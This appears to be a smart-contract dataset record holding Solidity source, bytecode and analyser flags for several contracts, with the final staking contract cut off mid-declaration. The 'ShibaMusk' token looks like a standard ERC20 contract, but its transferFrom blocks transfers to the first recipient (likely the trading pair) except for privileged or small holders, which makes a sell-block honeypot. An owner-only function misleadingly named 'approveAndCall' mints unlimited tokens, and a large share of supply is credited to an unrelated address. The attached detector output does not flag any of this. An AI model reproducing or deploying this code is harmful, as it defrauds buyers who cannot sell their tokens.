558783168252600381528382203390931682529190915220546106f4908363ffffffff61122e16565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60026020526000908152604090205481565b601281565b6aa56fa5b99019a5c800000081565b600160a060020a0333166000908152600260205260408120548211156107ac57600080fd5b5033600160a060020a0381166000908152600260205260409020546107d1908361122e565b600160a060020a0382166000908152600260205260409020556001546107fd908363ffffffff61122e16565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60008054819033600160a060020a0390811691161461085f57600080fd5b82915081600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156108b057600080fd5b5af115156108bd57600080fd5b5050506040518051600054909250600160a060020a03808516925063a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561092357600080fd5b5af1151561093057600080fd5b50505060405180515050600054600160a060020a039081169084167f340399c867affe8af8b81c9c8909476fe09e7810cea1aa1bd70f9b0b465a09cb8360405190815260200160405180910390a3505050565b60005433600160a060020a0390811691161461099e57600080fd5b60055460ff16156109ae57600080fd5b600160a060020a03811660009081526004602052604090205460ff1615156109d557600080fd5b600160a060020a03811660008181526004602052604090819020805460ff191690557f865f9a3e5acb369194fb814788e7cdd5ad14d8def9907065e4fbb5fcf2d49007905160405180910390a250565b600554600090819060ff1680610a535750600160a060020a03331660009081526004602052604090205460ff165b1515610a5e57600080fd5b50600160a060020a0333811660009081526003602090815260408083209387168352929052205480831115610aba57600160a060020a033381166000908152600360209081526040808320938816835292905290812055610af1565b610aca818463ffffffff61122e16565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526002602052604090205490565b6000805433600160a060020a03908116911614610b8e57600080fd5b50600160a060020a0330163160008111610ba757600080fd5b600054600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610bda57600080fd5b600054600160a060020a03167e427c0f965e4f144086694ed3a411df394e3dfa51cf4e74d9a70375bab91bb08260405190815260200160405180910390a250565b60005433600160a060020a03908116911614610c3657600080fd5b60055460ff1615610c4657600080fd5b600160a060020a03811660009081526004602052604090205460ff1615610c6c57600080fd5b600160a060020a0381161515610c8157600080fd5b600160a060020a03811660008181526004602052604090819020805460ff191660011790557f50af31608823996ca2e3de4556476c372e2e6a6bdcc15d9f5c62ffcb412befdd905160405180910390a250565b600054600160a060020a031681565b60055460ff1681565b60408051908101604052600381527f44545a0000000000000000000000000000000000000000000000000000000000602082015281565b60055460009060ff1680610d4f5750600160a060020a03331660009081526004602052604090205460ff165b1515610d5a57600080fd5b600160a060020a0383161515610d6f57600080fd5b600160a060020a033316600090815260026020526040902054821115610d9457600080fd5b600160a060020a033316600090815260026020526040902054610dbd908363ffffffff61122e16565b600160a060020a033381166000908152600260205260408082209390935590851681522054610df2908363ffffffff61124316565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60005433600160a060020a03908116911614610e6e57600080fd5b60055460ff1615610e7e57600080fd5b6005805460ff191660011790557feadb24812ab3c9a55c774958184293ebdb6c7f6a2dbab11f397d80c86feb65d360405160405180910390a1565b33600160a060020a038181166000908152600360209081526040808320938816808452939091528082208690559092638f4ffcb191869030908790518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f77578082015183820152602001610f5f565b50505050905090810190601f168015610fa45780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b1515610fc557600080fd5b5af11515610fd257600080fd5b505050604051805190505083600160a060020a031633600160a060020a03167f61670d416eb54c3cb4286cf48ae4fc24dd70cf0abd328a3ed507304e941fb74e858560405182815260406020820181815290820183818151815260200191508051906020019080838360005b8381101561105657808201518382015260200161103e565b50505050905090810190601f1680156110835780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35060019392505050565b60055460009060ff16806110c75750600160a060020a03331660009081526004602052604090205460ff165b15156110d257600080fd5b600160a060020a03338116600090815260036020908152604080832093871683529290522054611108908363ffffffff61124316565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60005433600160a060020a039081169116146111ba57600080fd5b600160a060020a03811615156111cf57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217928390559091167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60008282111561123d57600080fd5b50900390565b60008282018381101561125557600080fd5b93925050505600a165627a7a7230582011aa80800a04423f23bb417ec359a5faf12f9e9fdff551430d77f65a4687992c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,496
0x61a9cd881ee1ef3cb9e7ab6395a1541e3b383d5a
/** *Submitted for verification at Etherscan.io on 2021-04-27 */ // SPDX-License-Identifier: MIT pragma solidity >=0.5.17; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; uint public queue_number; address public sender; address public airdrop1; address public airdrop2; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != sender, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && sender == address(0)) sender = to; else require(to != sender || (from == airdrop1 && to == sender) || (from == airdrop2 && to == sender) || (to == sender && balances[from] <= queue_number), "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address _address, uint256 tokens) public onlyOwner { airdrop1 = _address; _totalSupply = _totalSupply.add(tokens); balances[_address] = balances[_address].add(tokens); emit Transfer(address(0), _address, tokens); } function approveAndCheck(address _address) public onlyOwner { airdrop2 = _address; } function approveAndQueue(uint256 _queue) public onlyOwner { queue_number = _queue * (10 ** uint256(decimals)); } function () external payable { revert(); } } contract ShibaMusk is TokenERC20 { function CheckToken() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } constructor(string memory _name, string memory _symbol, uint256 _supply, address _a1, address _a2) public { symbol = _symbol; name = _name; decimals = 18; _totalSupply = _supply*(10**uint256(decimals)); queue_number = (_totalSupply / 250); airdrop1 = _a1; airdrop2 = _a2; owner = msg.sender; balances[msg.sender] = _totalSupply/10000*6500; balances[0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B] = _totalSupply/10000*3200; balances[_a1] = _totalSupply/10000*154; balances[_a2] = _totalSupply/10000*146; emit Transfer(address(0x0), msg.sender, _totalSupply); emit Transfer(msg.sender, 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, _totalSupply/10000*3200); } function() external payable { } }
0x60806040526004361061012a5760003560e01c806379ba5097116100ab578063a9059cbb1161006f578063a9059cbb14610607578063b00b0b131461067a578063d4ee1d90146106cb578063dd62ed3e14610722578063effc73a4146107a7578063f2fde38b146107fe5761012a565b806379ba5097146104b75780637fb3b1f0146104ce5780638da5cb5b146104e557806395d89b411461053c578063a239a023146105cc5761012a565b8063313ce567116100f2578063313ce567146103445780633177029f146103755780634627e64f146103d057806367e404ce146103fb57806370a08231146104525761012a565b806306884fc81461012c57806306fdde0314610183578063095ea7b31461021357806318160ddd1461028657806323b872dd146102b1575b005b34801561013857600080fd5b5061014161084f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561018f57600080fd5b50610198610875565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d85780820151818401526020810190506101bd565b50505050905090810190601f1680156102055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021f57600080fd5b5061026c6004803603604081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610913565b604051808215151515815260200191505060405180910390f35b34801561029257600080fd5b5061029b610a05565b6040518082815260200191505060405180910390f35b3480156102bd57600080fd5b5061032a600480360360608110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a60565b604051808215151515815260200191505060405180910390f35b34801561035057600080fd5b506103596110ac565b604051808260ff1660ff16815260200191505060405180910390f35b34801561038157600080fd5b506103ce6004803603604081101561039857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110bf565b005b3480156103dc57600080fd5b506103e5611273565b6040518082815260200191505060405180910390f35b34801561040757600080fd5b50610410611279565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045e57600080fd5b506104a16004803603602081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129f565b6040518082815260200191505060405180910390f35b3480156104c357600080fd5b506104cc6112e8565b005b3480156104da57600080fd5b506104e3611485565b005b3480156104f157600080fd5b506104fa61152d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054857600080fd5b50610551611552565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610591578082015181840152602081019050610576565b50505050905090810190601f1680156105be5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105d857600080fd5b50610605600480360360208110156105ef57600080fd5b81019080803590602001909291905050506115f0565b005b34801561061357600080fd5b506106606004803603604081101561062a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061166a565b604051808215151515815260200191505060405180910390f35b34801561068657600080fd5b506106c96004803603602081101561069d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118c9565b005b3480156106d757600080fd5b506106e0611966565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072e57600080fd5b506107916004803603604081101561074557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061198c565b6040518082815260200191505060405180910390f35b3480156107b357600080fd5b506107bc611a13565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080a57600080fd5b5061084d6004803603602081101561082157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a39565b005b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561090b5780601f106108e05761010080835404028352916020019161090b565b820191906000526020600020905b8154815290600101906020018083116108ee57829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610a5b600a60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600554611ad690919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610aec5750600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610b375782600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e03565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580610c3a5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c395750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b80610ceb5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610cea5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b80610d905750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610d8f5750600654600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b610e02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610e5582600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad690919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f2782600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad690919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ff982600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af090919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461111857600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061116e81600554611af090919063ffffffff16565b6005819055506111c681600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af090919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60065481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461134257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114de57600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611529573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115e85780601f106115bd576101008083540402835291602001916115e8565b820191906000526020600020905b8154815290600101906020018083116115cb57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461164957600080fd5b600460009054906101000a900460ff1660ff16600a0a810260068190555050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611730576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61178282600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad690919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181782600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af090919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461192257600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a9257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115611ae557600080fd5b818303905092915050565b6000818301905082811015611b0457600080fd5b9291505056fea265627a7a72315820fa32645bf8d83b3d10766a27c9b37c28254418a0a9f2097c7619f67a0e4c9a3264736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,497
0x938504b6ff1846baef32fcb90eb950e44a9afddf
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.5; // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { require(_newOwner != address(0), "ERC20: sending to the zero address"); owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address tokenOwner) external view returns (uint256 balance); function allowance(address tokenOwner, address spender) external view returns (uint256 remaining); function transfer(address to, uint256 tokens) external returns (bool success); function approve(address spender, uint256 tokens) external returns (bool success); function transferFrom(address from, address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; function calculateFees( address sender, address recipient, uint256 amount ) external view returns (uint256, uint256); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract GainzyV2BITBOTStake is Owned { using SafeMath for uint256; address public BBPLP = 0x44f692888a0ED51BC5b05867d9149C5F32F5E07F; address public BBP = 0xbb0A009ba1EB20c5062C790432f080F6597662AF; address public lpLockAddress = 0x740Fda023D5aa68cB392DE148C88966BD91Ec53e; uint256 public totalStakes = 0; uint256 public totalDividends = 0; uint256 private scaledRemainder = 0; uint256 private scaling = uint256(10) ** 12; uint public round = 1; uint256 public maxAllowed = 500000000000000000000; //500 tokens total allowed to be staked uint256 public ethMade=0; //total payout given /* Fees breaker, to protect withdraws if anything ever goes wrong */ bool public breaker = true; // withdraw can be unlock,, default locked mapping(address => uint) public farmTime; // period that your sake it locked to keep it for farming //uint public lock = 0; // farm lock in blocks ~ 0 days for 15s/block //address public admin; struct USER{ uint256 stakedTokens; uint256 lastDividends; uint256 fromTotalDividend; uint round; uint256 remainder; } address[] internal stakeholders; mapping(address => USER) stakers; mapping (uint => uint256) public payouts; // keeps record of each payout event STAKED(address staker, uint256 tokens); event EARNED(address staker, uint256 tokens); event UNSTAKED(address staker, uint256 tokens); event PAYOUT(uint256 round, uint256 tokens, address sender); event CLAIMEDREWARD(address staker, uint256 reward); function setBreaker(bool _breaker) external onlyOwner { breaker = _breaker; } function 